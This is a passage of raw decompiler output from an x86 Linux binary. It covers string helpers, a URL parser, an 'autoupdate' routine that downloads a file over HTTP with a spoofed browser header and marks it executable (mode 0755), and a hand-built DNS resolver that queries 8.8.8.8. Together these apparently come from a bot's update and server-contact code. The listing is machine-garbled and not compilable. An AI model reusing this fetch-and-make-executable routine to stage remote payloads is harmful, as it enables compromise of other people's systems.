  7619.     }
  7620.     _v4708 = 255;
  7621.     L08073680(_t454, __esp, 2, 3);
  7622.     _v64 = _t295;
  7623.     if(_v64 == 255) {
  7624.         goto L33;
  7625.     }
  7626.     if(_v3556 != _v3552 || _v3552 == 0) {
  7627. L33:
  7628.         L08052A50(_v64);
  7629.         _t298 = L08051050();
  7630.         L08051000(_t298);
  7631.          *__esp = 0;
  7632.         L08050FE0();
  7633.     }
  7634.     _push(_t510);
  7635.     __esp = __esp - 40;
  7636.     _v4740 = _v4708;
  7637.      *__esp = _v4712;
  7638.     _t303 = L0806E770(__esp, _t519);
  7639.     _v4724 = _t303;
  7640.     if(( *_v4712 & 255) != 0) {
  7641.         while(1) {
  7642.             __eax = _v12;
  7643.             __eax = _v12 - 1;
  7644.             __eax = _v12 - 1 + _v0;
  7645.             __eax =  *(_v12 - 1 + _v0) & 255;
  7646.             __eflags = __al;
  7647.             if(__al == 0) {
  7648.                 break;
  7649.             }
  7650.             __eax = _v12;
  7651.             __eax = _v12 - 1;
  7652.             __eax = _v12 - 1 + _v0;
  7653.             _v4756 = _v28;
  7654.              *__esp = _v12 - 1 + _v0;
  7655.             __eax = L0806E360(__esp);
  7656.             __eflags = __eax;
  7657.             if(__eax == 0) {
  7658.                 _v12 = _v12 - 1;
  7659.                 continue;
  7660.             }
  7661.             __eax = _v12;
  7662.             __eax = _v12 - 1;
  7663.             _v32 = _v0 + _v12 - 1;
  7664.             return _v32;
  7665.         }
  7666.         _v32 = 0;
  7667.         return _v32;
  7668.     }
  7669.     _v32 = 0;
  7670.     return _v32;
  7671. L30:
  7672.     goto L33;
  7673. }
  7674.  
  7675. char* Rstrchr(char* s, char x)
  7676. {// addr = 0x0804D397
  7677.     int i;
  7678.     signed int _v8;
  7679.     char _v24;
  7680.     char* _v28;
  7681.     char _v40;
  7682.     _unknown_ r6;
  7683.     _unknown_ _t20;
  7684.     signed int _t23;
  7685.     _unknown_ _t27;
  7686.  
  7687.     _v24 = x;
  7688.      *__esp = s;
  7689.     _t23 = L0806E770(__esp, _t27);
  7690.     _v8 = _t23;
  7691.     if(( *s & 255) != 0) {
  7692.         while(1) {
  7693.             __eax = _v8;
  7694.             __eax = _v8 - 1;
  7695.             __eax =  &(s[_v8 - 1]);
  7696.             __eax = (s[_v8 - 1]) & 255;
  7697.             __eflags = __al;
  7698.             if(__al == 0) {
  7699.                 break;
  7700.             }
  7701.             __eax = _v8;
  7702.             __eax = _v8 - 1;
  7703.             __eax =  &(s[_v8 - 1]);
  7704.             _v40 = _v24;
  7705.              *__esp =  &(s[_v8 - 1]);
  7706.             __eax = L0806E360(__esp);
  7707.             __eflags = __eax;
  7708.             if(__eax == 0) {
  7709.                 _v8 = _v8 - 1;
  7710.                 continue;
  7711.             }
  7712.             __eax = _v8;
  7713.             __eax = _v8 - 1;
  7714.             _v28 =  &(s[_v8 - 1]);
  7715.             return _v28;
  7716.         }
  7717.         _v28 = 0;
  7718.         return _v28;
  7719.     }
  7720.     _v28 = 0;
  7721.     return _v28;
  7722. }
  7723.  
  7724. ToLowerCase(char* s)
  7725. {// addr = 0x0804D414
  7726.     unsigned int i;
  7727.     intOrPtr _v12;
  7728.     _unknown_ r6;
  7729.     _unknown_ _t11;
  7730.     _unknown_ _t13;
  7731.     char _t19;
  7732.     _unknown_ _t22;
  7733.  
  7734.     _v12 = 0;
  7735.     while(1) {
  7736.         _t13 = L0806E770(__esp, _t22, s);
  7737.         if(_t13 <= _v12) {
  7738.             break;
  7739.         }
  7740.         _t19 = L08058E80((s[_v12]) & 255);
  7741.         (s[_v12]) = _t19;
  7742.         _v12 = _v12 + 1;
  7743.     }
  7744.     return;
  7745. }
  7746.  
  7747. GetHost(char* src, char* web, char* file, int* port)
  7748. {// addr = 0x0804D45F
  7749.     char* pA;
  7750.     char* pB;
  7751.     intOrPtr _v12;
  7752.     char* _v16;
  7753.     _unknown_ _v36;
  7754.     _unknown_ _v40;
  7755.     _unknown_ r6;
  7756.     _unknown_ _t59;
  7757.     _unknown_ _t61;
  7758.     _unknown_ _t63;
  7759.     _unknown_ _t69;
  7760.     _unknown_ _t71;
  7761.     intOrPtr _t73;
  7762.     _unknown_ _t75;
  7763.     _unknown_ _t78;
  7764.     _unknown_ _t80;
  7765.     char* _t83;
  7766.     int _t86;
  7767.     _unknown_ _t90;
  7768.     _unknown_ _t92;
  7769.     _unknown_ _t96;
  7770.     _unknown_ _t98;
  7771.     _unknown_ _t102;
  7772.     _unknown_ _t106;
  7773.     _unknown_ _t110;
  7774.     _unknown_ _t112;
  7775.     _unknown_ _t119;
  7776.  
  7777.     L0806F850(_t119, __edi, __esi, web, 0, 4);
  7778.     L0806F850(_t119, __edi, __esi, file, 0, 4);
  7779.      *port = 0;
  7780.     if(( *src & 255) == 0) {
  7781.         return ;
  7782.     }
  7783.     _v16 = src;
  7784.     _t69 = L0806E820(_v16, "http://", 7);
  7785.     if(_t69 != 0) {
  7786.         _t71 = L0806E820(_v16, "https://", 8);
  7787.         __eflags = _t71;
  7788.         if(_t71 == 0) {
  7789.             goto L4;
  7790.         } else {
  7791.             goto L5;
  7792.         }
  7793.         goto L5;
  7794.     }
  7795.     _v16 =  &(src[7]);
  7796. L5:
  7797.     _t73 = L0806E360(__esp, _v16, 47);
  7798.     _v12 = _t73;
  7799.     _t130 = _v12;
  7800.     if(_v12 == 0) {
  7801.         _t75 = L0806E770(__esp, __eflags, _v16);
  7802.         L0806F9E0(__edi, __esi, web, _v16, _t75);
  7803.         goto L10;
  7804.     }
  7805.     _t96 = L0806E770(__esp, _t130, _v16);
  7806.      *__esp = _v12;
  7807.     _t98 = L0806E770(__esp, _t130);
  7808.     L0806F9E0(__edi, __esi, web, _v16, _t96 - _t98);
  7809.     _t131 = _v12 + 1;
  7810.     if(_v12 + 1 == 0) {
  7811.         goto L9;
  7812.     } else {
  7813.         _t106 = L0806E770(__esp, _t131, _v12);
  7814.         L0806F9E0(__edi, __esi, file, _v12 + 1, _t106 - 1);
  7815.          *__esp = _v12;
  7816.         _t112 = L0806E770(__esp, _t131);
  7817.          *(_t112 - 1 + file) = 0;
  7818.         goto L10;
  7819.     }
  7820. L10:
  7821.     _t132 = _v12;
  7822.     if(_v12 == 0) {
  7823.         _t80 = L0806E770(__esp, __eflags, _v16);
  7824.          *(_t80 + web) = 0;
  7825.     } else {
  7826.         _t90 = L0806E770(__esp, _t132, _v16);
  7827.          *__esp = _v12;
  7828.         _t92 = L0806E770(__esp, _t132);
  7829.          *(_t90 - _t92 + web) = 0;
  7830.     }
  7831.     _t83 = L0806E360(__esp, web, 58);
  7832.     _v16 = _t83;
  7833.     if(_v16 == 0) {
  7834.          *port = 80;
  7835.         return;
  7836.     }
  7837.     _t86 =  &(_v16[1]);
  7838.     L0805D6A0(_t86);
  7839.      *port = _t86;
  7840.      *_v16 = 0;
  7841.     return;
  7842. L9:
  7843.     goto L10;
  7844. L4:
  7845.     _v16 =  &(src[8]);
  7846.     goto L5;
  7847. }
  7848.  
  7849. int autoupdate(char* url_address, char* local_to_file)
  7850. {// addr = 0x0804D64E
  7851.     int sockfd;
  7852.     char[1023] buffer;
  7853.     struct sockaddr_in server_addr;
  7854.     struct hostent* host;
  7855.     int portnumber;
  7856.     int nbytes;
  7857.     char[255] host_addr;
  7858.     char[1023] host_file;
  7859.     char[255] local_file;
  7860.     FILE* fp;
  7861.     char[1023] request;
  7862.     int send;
  7863.     int totalsend;
  7864.     int i;
  7865.     char* pt;
  7866.     fd_set rsetfds;
  7867.     struct timeval tv;
  7868.     int __d0;
  7869.     int __d1;
  7870.     int nOnline;
  7871.     char __result;
  7872.     signed int _v16;
  7873.     intOrPtr _v20;
  7874.     int _v24;
  7875.     signed int _v28;
  7876.     signed int _v32;
  7877.     int _v36;
  7878.     int _v40;
  7879.     char* _v44;
  7880.     intOrPtr _v48;
  7881.     signed int _v52;
  7882.     char* _v56;
  7883.     signed int _v1080;
  7884.     intOrPtr _v1092;
  7885.     short _v1094;
  7886.     char _v1096;
  7887.     signed int _v1100;
  7888.     char _v1356;
  7889.     signed int _v2380;
  7890.     char _v2636;
  7891.     char _v3660;
  7892.     char _v3788;
  7893.     int _v3792;
  7894.     char _v3796;
  7895.     int _v3808;
  7896.     signed int _v3820;
  7897.     char* _v3824;
  7898.     int _v3828;
  7899.     char* _v3832;
  7900.     _unknown_ r6;
  7901.     signed int _t163;
  7902.     short _t167;
  7903.     _unknown_ _t174;
  7904.     _unknown_ _t181;
  7905.     _unknown_ _t184;
  7906.     intOrPtr _t186;
  7907.     int _t193;
  7908.     char* _t197;
  7909.     _unknown_ _t198;
  7910.     _unknown_ _t199;
  7911.     _unknown_ _t202;
  7912.     signed int _t206;
  7913.     _unknown_ _t209;
  7914.     intOrPtr _t213;
  7915.     _unknown_ _t217;
  7916.     intOrPtr* _t225;
  7917.     _unknown_ _t229;
  7918.     _unknown_ _t235;
  7919.     _unknown_ _t239;
  7920.     _unknown_ _t246;
  7921.     char* _t248;
  7922.     intOrPtr* _t249;
  7923.     intOrPtr* _t251;
  7924.     intOrPtr* _t253;
  7925.     _unknown_ _t255;
  7926.     _unknown_ _t256;
  7927.     _unknown_ _t258;
  7928.     _unknown_ _t259;
  7929.     _unknown_ _t264;
  7930.     _unknown_ _t267;
  7931.     _unknown_ _t271;
  7932.     char* _t272;
  7933.  
  7934.     GetHost(url_address,  &_v1356,  &_v2380,  &_v1100);
  7935.     L0805FF20("webhost:[%s]\n",  &_v1356);
  7936.     L0805FF20("hostfile:[%s]\n",  &_v2380);
  7937.     L0805FF20("portnumber:[%d]\n\n", _v1100);
  7938.     _t163 =  &_v1356;
  7939.     L08075250(_t163);
  7940.     _v52 = _t163;
  7941.     __eflags = _v52;
  7942.     if(_v52 != 0) {
  7943.         _v3828 = 0;
  7944.         L08073680(_t255, __esp, 2, 1);
  7945.         _v56 = _t163;
  7946.         __eflags = _v56 - 255;
  7947.         if(_v56 != 255) {
  7948.             L0806F910( &_v1096, 16);
  7949.             _v1096 = 2;
  7950.              *__esp = _v1100 & 65535;
  7951.             _t167 = L08075240(__esp);
  7952.             _v1094 = _t167;
  7953.             _v1092 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v52 + 16))))));
  7954.             _v3828 = 16;
  7955.             _t174 = L08052AA0(__esi, _v56,  &_v1096);
  7956.             __eflags = _t174 - 255;
  7957.             if(_t174 != 255) {
  7958.                 _v3820 = _v1100;
  7959.                 _v3824 =  &_v1356;
  7960.                 L0805FF50( &_v3660, "GET /%s HTTP/1.1
  7961. \nAccept: */*
  7962. \nAccept-Language: zh-cn
  7963. \nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
  7964. \nHost: %s:%d
  7965. \nConnection: Close
  7966. \n
  7967. \n",  &_v2380);
  7968.                 __eflags = _v2380 & 255;
  7969.                 if((_v2380 & 255) == 0) {
  7970.                     _v28 = 0;
  7971.                 }
  7972. L9:
  7973.                 L0806F850(_t255, _t271, __esi,  &_v2636, 0, 256);
  7974.                 __eflags = _v28;
  7975.                 if(_v28 == 0) {
  7976. L15:
  7977.                     __eflags = _v2380 & 255;
  7978.                     if((_v2380 & 255) == 0) {
  7979.                         L0806F9E0(_t271, __esi,  &_v2636, "index.html", 11);
  7980.                         goto L18;
  7981.                     } else {
  7982.                         goto L16;
  7983.                     }
  7984.                     goto L18;
  7985.                 }
  7986.                 __eflags =  *_v28 & 255;
  7987.                 if(( *_v28 & 255) == 0) {
  7988.                     goto L15;
  7989.                 }
  7990.                 __eflags = _v28 + 1;
  7991.                 if(__eflags == 0) {
  7992. L14:
  7993.                     _t235 = L0806E770(__esp, __eflags,  &_v2380);
  7994.                     L0806F9E0(_t271, __esi,  &_v2636,  &_v2380, _t235 - 1);
  7995.                     goto L18;
  7996.                 }
  7997.                 __eflags =  *(_v28 + 1) & 255;
  7998.                 if(__eflags == 0) {
  7999.                     goto L14;
  8000.                 }
  8001.                 L0806E520( &_v2636, _v28 + 1);
  8002. L18:
  8003.                 _v40 = 0;
  8004.                 _v36 = 0;
  8005.                  *__esp =  &_v3660;
  8006.                 _t186 = L0806E770(__esp, __eflags);
  8007.                 _v48 = _t186;
  8008.                 while(1) {
  8009.                     __eflags = _v36 - _v48;
  8010.                     if(_v36 >= _v48) {
  8011.                         break;
  8012.                     }
  8013.                     _t193 = L08052990(_v56,  &_v3660 + _v36, _v48 - _v36);
  8014.                     _v40 = _t193;
  8015.                     __eflags = _v40 - 255;
  8016.                     if(_v40 != 255) {
  8017.                         _v36 = _v36 + _v40;
  8018.                         continue;
  8019.                     }
  8020.                     _v3808 = 1;
  8021.                     return _v3808;
  8022.                 }
  8023.                 L08071740(_t255, __esp, local_to_file);
  8024.                 _v3832 = "a";
  8025.                 _t197 = local_to_file;
  8026.                  *__esp = _t197;
  8027.                 L08060B50();
  8028.                 _v44 = _t197;
  8029.                 __eflags = _v44;
  8030.                 if(_v44 != 0) {
  8031.                     _v32 = 0;
  8032.                     _v3796 = 3;
  8033.                     _v3792 = 0;
  8034.                     _t272 =  &_v3788;
  8035.                     asm("cld ");
  8036.                     _push(32 << 2);
  8037.                     _push(0);
  8038.                     _push(_t272);
  8039.                     memset();
  8040.                     __esp =  &(__esp[3]);
  8041.                     _t273 = _t272 + 32;
  8042.                     _v24 = 0;
  8043.                     _v20 = _t272 + 32;
  8044.                     asm("bts [ebp+edx*4+0xfffff138], eax");
  8045.                     while(1) {
  8046. L27:
  8047.                         L08061340(0, _t273, __esi, "start");
  8048.                         _v3820 =  &_v3796;
  8049.                         _v3824 = 0;
  8050.                         _v3828 =  &_v3788;
  8051.                         _t206 =  &_v3788;
  8052.                         _v3832 = _t206;
  8053.                          *__esp =  &(_v56[1]);
  8054.                         L08071940();
  8055.                         _v16 = _t206;
  8056.                         __eflags = _v16;
  8057.                         if(_v16 == 0) {
  8058.                             break;
  8059.                         }
  8060.                         __eflags = _v16;
  8061.                         if(_v16 >= 0) {
  8062.                             __eflags = _v16;
  8063.                             if(__eflags == 0) {
  8064. L34:
  8065.                                 _v3808 = 1;
  8066.                                 return _v3808;
  8067.                             } else {
  8068.                                 goto L31;
  8069.                             }
  8070.                             goto L31;
  8071. L35:
  8072.                             __eflags = _v32 - 3;
  8073.                             if(_v32 > 3) {
  8074. L40:
  8075.                                 L08060D80(0, _t273, __esi,  &_v1080, 1, 1, _v44);
  8076.                                 _v32 = _v32 + 1;
  8077.                                 __eflags = _v32 & 1023;
  8078.                                 if((_v32 & 1023) != 0) {
  8079.                                     goto L26;
  8080.                                 } else {
  8081.                                     goto L41;
  8082.                                 }
  8083.                                 continue;
  8084.                             }
  8085.                             __eflags = (_v1080 & 255) - 13;
  8086.                             if((_v1080 & 255) == 13) {
  8087. L38:
  8088.                                 _v32 = _v32 + 1;
  8089.                                 continue;
  8090.                             }
  8091.                             __eflags = (_v1080 & 255) - 10;
  8092.                             if((_v1080 & 255) != 10) {
  8093.                                 _v32 = 0;
  8094.                                 continue;
  8095.                             } else {
  8096.                                 goto L38;
  8097.                             }
  8098.                             goto L38;
  8099. L41:
  8100.                              *__esp = _v44;
  8101.                             L08060770();
  8102.                             continue;
  8103.                         } else {
  8104.                             break;
  8105.                         }
  8106.                         break;
  8107. L31:
  8108.                         asm("bt [ebp+eax*4+0xfffff138], edx");
  8109.                         __eflags = __eflags > 0;
  8110.                         if(__eflags == 0) {
  8111.                             goto L34;
  8112.                         }
  8113.                         L08061340(0, _t273, __esi, "aaa");
  8114.                         _v3828 = 1;
  8115.                         _v3832 =  &_v1080;
  8116.                          *__esp = _v56;
  8117.                         _t213 = L080529F0();
  8118.                         _v48 = _t213;
  8119.                         __eflags = _v48 - 1;
  8120.                         if(_v48 != 1) {
  8121.                             L08061340(0, _t273, __esi, "bbbbb");
  8122.                             _v3832 = 493;
  8123.                              *__esp = local_to_file;
  8124.                             L08071470(0, __esp);
  8125.                             L08060220(_v44);
  8126.                              *__esp = _v56;
  8127.                             L08052A50();
  8128.                             _v3808 = 0;
  8129.                             return _v3808;
  8130.                         }
  8131.                         goto L35;
  8132.                         return _v3808;
  8133.                         goto L35;
  8134.                     }
  8135.                     L08061340(0, _t273, __esi, "update over time
  8136. ");
  8137.                     _v3808 = 1;
  8138.                     return _v3808;
  8139.                 }
  8140.                 _t225 = L08053180();
  8141.                 L0806E5A0(_t271, __esi,  *_t225);
  8142.                 L0805FF20("create file error! %s\n",  *_t225);
  8143.                 _v3808 = 1;
  8144.                 return _v3808;
  8145. L26:
  8146.                 goto L27;
  8147. L16:
  8148.                 L0806E520( &_v2636,  &_v2380);
  8149.                 goto L18;
  8150.             } else {
  8151.                 goto L5;
  8152.             }
  8153.             goto L5;
  8154. L7:
  8155.             _t248 = Rstrchr( &_v2380, 47);
  8156.             _v28 = _t248;
  8157.             goto L9;
  8158.         } else {
  8159.             goto L3;
  8160.         }
  8161.         goto L3;
  8162. L5:
  8163.         _t249 = L08053180();
  8164.         L0806E5A0(_t271, __esi,  *_t249);
  8165.         L0805FEF0( *135203140, 135043559,  *_t249);
  8166.         _v3808 = 1;
  8167.         return _v3808;
  8168.     }
  8169.     _t253 = L08053180();
  8170.     L0806E5A0(_t271, __esi,  *_t253);
  8171.     L0805FEF0( *135203140, "Gethostname error, %s\n",  *_t253);
  8172.     _v3808 = 1;
  8173.     return _v3808;
  8174. L3:
  8175.     _t251 = L08053180();
  8176.     L0806E5A0(_t271, __esi,  *_t251);
  8177.     L0805FEF0( *135203140, 135043541,  *_t251);
  8178.     _v3808 = 1;
  8179.     return _v3808;
  8180. }
  8181.  
  8182. int get_online_ip(char* domain, char* return_ip)
  8183. {// addr = 0x0804DBFA
  8184.     int i;
  8185.     int _v8;
  8186.     int _v36;
  8187.     _unknown_ _v40;
  8188.     _unknown_ r6;
  8189.     int _t9;
  8190.     unsigned int _t11;
  8191.     struct in_addr _t12;
  8192.     int _t15;
  8193.     _unknown_ _t17;
  8194.  
  8195.     _t9 = __eax;
  8196.     _v8 = 0;
  8197.     _v36 = 0;
  8198.     L08073680(__ebx, __esp, 2, 2);
  8199.     socketfd = _t9;
  8200.     if(socketfd < 0) {
  8201.          *__esp = "create socket failed";
  8202.         L08060060();
  8203.          *__esp = -1;
  8204.         L0805E0C0();
  8205.     }
  8206.     L0806F910( &dest, 16);
  8207.     dest.sin_family = 2;
  8208.      *__esp = 53;
  8209.     _t11 = L08075240(__esp);
  8210.     dest.sin_port.s_addr = _t11;
  8211.     _t12 = L08073B40("8.8.8.8");
  8212.     dest.sin_addr = _t12;
  8213.     send_dns_request(domain);
  8214.     _t15 = parse_dns_response(return_ip);
  8215.     _v8 = _t15;
  8216.      *__esp = socketfd;
  8217.     L08052A50();
  8218.     return _v8;
  8219. }
  8220.  
  8221. int parse_dns_response(char* return_ip)
  8222. {// addr = 0x0804DCB4
  8223.     unsigned char[1023] buf;
  8224.     unsigned char* ptr;
  8225.     struct sockaddr_in addr;
  8226.     int n;
  8227.     int i;
  8228.     int flag;
  8229.     int querys;
  8230.     int answers;
  8231.     int type;
  8232.     int ttl;
  8233.     int datalen;
  8234.     int len;
  8235.     char[127] cname;
  8236.     char[127] aname;
  8237.     char[19] ip;
  8238.     unsigned char[3] netip;
  8239.     size_t addr_len;
  8240.     fd_set rsetfds;
  8241.     struct timeval tv;
  8242.     int nOnline;
  8243.     int __d0;
  8244.     int __d1;
  8245.     intOrPtr _v16;
  8246.     int _v20;
  8247.     signed int _v24;
  8248.     signed int _v28;
  8249.     intOrPtr _v32;
  8250.     signed int _v36;
  8251.     signed int _v40;
  8252.     signed int _v44;
  8253.     signed int _v48;
  8254.     int _v52;
  8255.     intOrPtr _v56;
  8256.     unsigned char* _v60;
  8257.     unsigned char _v1084;
  8258.     char _v1100;
  8259.     int _v1104;
  8260.     char _v1232;
  8261.     char _v1360;
  8262.     char _v1380;
  8263.     char _v1384;
  8264.     char _v1388;
  8265.     char _v1516;
  8266.     int _v1520;
  8267.     char _v1524;
  8268.     int _v1536;
  8269.     char* _v1544;
  8270.     char* _v1548;
  8271.     int _v1552;
  8272.     int _v1556;
  8273.     signed int _v1560;
  8274.     _unknown_ r6;
  8275.     _unknown_ _t123;
  8276.     _unknown_ _t127;
  8277.     signed int _t130;
  8278.     intOrPtr _t133;
  8279.     signed short _t137;
  8280.     signed short _t142;
  8281.     signed short _t159;
  8282.     intOrPtr _t163;
  8283.     signed short _t167;
  8284.     _unknown_ _t174;
  8285.     _unknown_ _t177;
  8286.     _unknown_ _t179;
  8287.     _unknown_ _t182;
  8288.     _unknown_ _t191;
  8289.     _unknown_ _t192;
  8290.     _unknown_ _t193;
  8291.     _unknown_ _t197;
  8292.     char* _t200;
  8293.  
  8294.     _v60 =  &_v1084;
  8295.     _v1388 = 16;
  8296.     _v1524 = 3;
  8297.     _v1520 = 0;
  8298.     __ebx = 0;
  8299.     _t200 =  &_v1516;
  8300.     asm("cld ");
  8301.     _push(32 << 2);
  8302.     _push(__ebx);
  8303.     _push(_t200);
  8304.     memset();
  8305.     __esp =  &(__esp[3]);
  8306.     _t201 = _t200 + 32;
  8307.     _v20 = 0;
  8308.     _v16 = _t200 + 32;
  8309.     asm("bts [ebp+edx*4+0xfffffa18], eax");
  8310.     _v1548 =  &_v1524;
  8311.     _v1552 = 0;
  8312.     _v1556 = 0;
  8313.     _t130 =  &_v1516;
  8314.     _v1560 = _t130;
  8315.      *__esp = socketfd + 1;
  8316.     L08071940();
  8317.     _v24 = _t130;
  8318.     __eflags = _v24;
  8319.     if(_v24 > 0) {
  8320.         L08061340(__ebx, _t201, __esi, "+ dns right!!");
  8321.         _v1544 =  &_v1388;
  8322.         _v1548 =  &_v1100;
  8323.         _v1552 = 0;
  8324.         _v1556 = 1024;
  8325.         _t133 = L08052B60(__esi, socketfd,  &_v1084);
  8326.         _v56 = _t133;
  8327.         _v60 =  &(_v60[4]);
  8328.          *__esp =  *_v60 & 65535 & 65535;
  8329.         _t137 = L08075240(__esp);
  8330.         _v44 = _t137 & 65535;
  8331.         _v60 =  &(_v60[2]);
  8332.          *__esp =  *_v60 & 65535 & 65535;
  8333.         _t142 = L08075240(__esp);
  8334.         _v40 = _t142 & 65535;
  8335.         _v60 =  &(_v60[6]);
  8336.         _v52 = 0;
  8337.         while(1) {
  8338.             __eflags = _v52 - _v44;
  8339.             if(_v52 >= _v44) {
  8340.                 break;
  8341.             } else {
  8342.                 goto L4;
  8343.             }
  8344.             while(1) {
  8345. L4:
  8346.                 _v48 =  *_v60 & 255 & 255;
  8347.                 _v60 =  &(_v60[_v48 + 1]);
  8348.                 __eflags = _v48;
  8349.                 if(_v48 == 0) {
  8350.                     break;
  8351.                 } else {
  8352.                     goto L3;
  8353.                 }
  8354.                 goto L3;
  8355.             }
  8356.             _v60 =  &(_v60[4]);
  8357.             _v52 = _v52 + 1;
  8358.         }
  8359.         _v52 = 0;
  8360.         while(1) {
  8361.             __eflags = _v52 - _v40;
  8362.             if(_v52 >= _v40) {
  8363.                 break;
  8364.             }
  8365.             L0806F910( &_v1360, 128);
  8366.             _v1104 = 0;
  8367.             parse_dns_name( &_v1084, _v60,  &_v1360,  &_v1104);
  8368.             _v60 =  &(_v60[2]);
  8369.              *__esp =  *_v60 & 65535 & 65535;
  8370.             _t159 = L08075240(__esp);
  8371.             _v36 = _t159 & 65535;
  8372.             _v60 =  &(_v60[4]);
  8373.              *__esp =  *_v60;
  8374.             _t163 = L08075230(__esp);
  8375.             _v32 = _t163;
  8376.             _v60 =  &(_v60[4]);
  8377.              *__esp =  *_v60 & 65535 & 65535;
  8378.             _t167 = L08075240(__esp);
  8379.             _v28 = _t167 & 65535;
  8380.             _v60 =  &(_v60[2]);
  8381.             __eflags = _v36 - 5;
  8382.             if(_v36 == 5) {
  8383.                 L0806F910( &_v1232, 128);
  8384.                 _v1104 = 0;
  8385.                 parse_dns_name( &_v1084, _v60,  &_v1232,  &_v1104);
  8386.                 _v60 =  &(_v60[_v28]);
  8387.             }
  8388.             __eflags = _v36 - 1;
  8389.             if(_v36 != 1) {
  8390. L14:
  8391.                 _v52 = _v52 + 1;
  8392.                 continue;
  8393.             }
  8394.             L0806F910( &_v1380, 20);
  8395.             __eflags = _v28 - 4;
  8396.             if(_v28 != 4) {
  8397.                 _v60 =  &(_v60[_v28]);
  8398.                 goto L14;
  8399.             }
  8400.             L0806F9E0(_t201, __esi,  &_v1384, _v60, _v28);
  8401.             L08073CB0( ?_? ( &_v1384), 2,  &_v1384,  &_v1380, 16);
  8402.              *__esp =  &_v1380;
  8403.             _t179 = L0806E770(__esp, __eflags);
  8404.             L0806F9E0(_t201, __esi, return_ip,  &_v1380, _t179);
  8405.             _v1536 = 1;
  8406.             return _v1536;
  8407.         }
  8408.         _v60 =  &(_v60[2]);
  8409.         _v1536 = 0;
  8410.         return _v1536;
  8411.     }
  8412.     L08061340(__ebx, _t201, __esi, "- dns over time!");
  8413.      *__esp = socketfd;
  8414.     L08052A50();
  8415.     _v1536 = 0;
  8416.     return _v1536;
  8417. L3:
  8418.     goto L4;
  8419. }
  8420.  
  8421. parse_dns_name(unsigned char* chunk, unsigned char* ptr, char* out, int* len)
  8422. {// addr = 0x0804E008
  8423.     int n;
  8424.     int flag;
  8425.     char* pos;
  8426.     char* _v8;
  8427.     int _v12;
  8428.     signed int _v16;
  8429.     _unknown_ _v32;
  8430.     _unknown_ _v36;
  8431.     _unknown_ _v40;
  8432.     _unknown_ r6;
  8433.     int _t52;
  8434.     _unknown_ _t56;
  8435.     _unknown_ _t65;
  8436.  
  8437.     _v8 =  &(out[ *len]);
  8438.     while(1) {
  8439.         _v12 =  *ptr & 255 & 255;
  8440.         if(_v12 == 0) {
  8441.             break;
  8442.         }
  8443.         _t52 = is_pointer(_v12);
  8444.         if(_t52 == 0) {
  8445.             ptr =  &(ptr[1]);
  8446.             L0806F9E0(__edi, __esi, _v8, ptr, _v12);
  8447.             _v8 =  &(_v8[_v12]);
  8448.             ptr =  &(ptr[_v12]);
  8449.              *len =  *len + _v12;
  8450.             if(( *ptr & 255) == 0) {
  8451.                 continue;
  8452.             } else {
  8453.                 goto L6;
  8454.             }
  8455.             continue;
  8456.         }
  8457.         _v16 = (ptr[1]) & 255 & 255;
  8458.         ptr =  &(chunk[_v16]);
  8459.         parse_dns_name(chunk, ptr, out, len);
  8460.         return;
  8461. L6:
  8462.         L0806F9E0(__edi, __esi, _v8, ".", 1);
  8463.         _v8 =  &(_v8[1]);
  8464.          *len =  *len + 1;
  8465.     }
  8466.     return ;
  8467. }
  8468.  
  8469. int is_pointer(int in)
  8470. {// addr = 0x0804E0F6
  8471.     _unknown_ r6;
  8472.  
  8473.     return (in & 192) == 192 & 255;
  8474. }
  8475.  
  8476. send_dns_request(const char* dns_name)
  8477. {// addr = 0x0804E10E
  8478.     unsigned char[255] request;
  8479.     unsigned char* ptr;
  8480.     unsigned char[127] question;
  8481.     int question_len;
  8482.     short* _v12;
  8483.     char _v268;
  8484.     char _v396;
  8485.     intOrPtr _v400;
  8486.     intOrPtr _v424;
  8487.     struct sockaddr_in* _v428;
  8488.     intOrPtr _v432;
  8489.     intOrPtr _v436;
  8490.     _unknown_ _v440;
  8491.     _unknown_ r1;
  8492.     _unknown_ r6;
  8493.     intOrPtr _t45;
  8494.     intOrPtr _t46;
  8495.     intOrPtr _t47;
  8496.     _unknown_ _t54;
  8497.     _unknown_ _t59;
  8498.  
  8499.     _v12 =  &_v268;
  8500.     generate_question(dns_name,  &_v396,  &_v400);
  8501.      *__esp = 65280;
  8502.     _t45 = L08075240(__esp);
  8503.      *_v12 = _t45;
  8504.     _v12 = _v12 + 2;
  8505.      *__esp = 256;
  8506.     _t46 = L08075240(__esp);
  8507.      *_v12 = _t46;
  8508.     _v12 = _v12 + 2;
  8509.      *__esp = 1;
  8510.     _t47 = L08075240(__esp);
  8511.      *_v12 = _t47;
  8512.     _v12 = _v12 + 2;
  8513.      *_v12 = 0;
  8514.     _v12 = _v12 + 2;
  8515.      *_v12 = 0;
  8516.     _v12 = _v12 + 2;
  8517.      *_v12 = 0;
  8518.     _v12 = _v12 + 2;
  8519.     L0806F9E0(__edi, __esi, _v12,  &_v396, _v400);
  8520.     _v12 = _v12 + _v400;
  8521.     _v424 = 16;
  8522.     _v428 =  &dest;
  8523.     _v432 = 0;
  8524.     _v436 = _v400 + 12;
  8525.     L08052C20(__esi, socketfd,  &_v268);
  8526.     return;
  8527. }
  8528.  
  8529. generate_question(const char* dns_name, unsigned char* buf, int* len)
  8530. {// addr = 0x0804E215
  8531.     char* pos;
  8532.     unsigned char* ptr;
  8533.     int n;
  8534.     _unknown_ _v12;
  8535.     unsigned char* _v16;
  8536.     const char* _v20;
  8537.     _unknown_ _v28;
  8538.     intOrPtr _v32;
  8539.     _unknown_ _v36;
  8540.     intOrPtr _v40;
  8541.     _unknown_ r1;
  8542.     _unknown_ r6;
  8543.     _unknown_ _t53;
  8544.     intOrPtr _t58;
  8545.     _unknown_ _t60;
  8546.     _unknown_ _t68;
  8547.     _unknown_ _t75;
  8548.     _unknown_ _t82;
  8549.     _unknown_ _t86;
  8550.     _unknown_ _t91;
  8551.     _unknown_ _t92;
  8552.     _unknown_ _t101;
  8553.  
  8554.      *len = 0;
  8555.     _v16 = buf;
  8556.     _v20 = dns_name;
  8557.     while(1) {
  8558.         _t58 = L0806E770(__esp, _t101, _v20);
  8559.         _v32 = _t58;
  8560.         _v40 = 46;
  8561.          *__esp = _v20;
  8562.         _t60 = L0806E360(__esp);
  8563.         _t102 = _t60;
  8564.         if(_t60 == 0) {
  8565.             goto L3;
  8566.         } else {
  8567.             goto L2;
  8568.         }
  8569.     }
  8570. }
  8571.  
  8572. connect_to_server()
  8573. {// addr = 0x0804E349
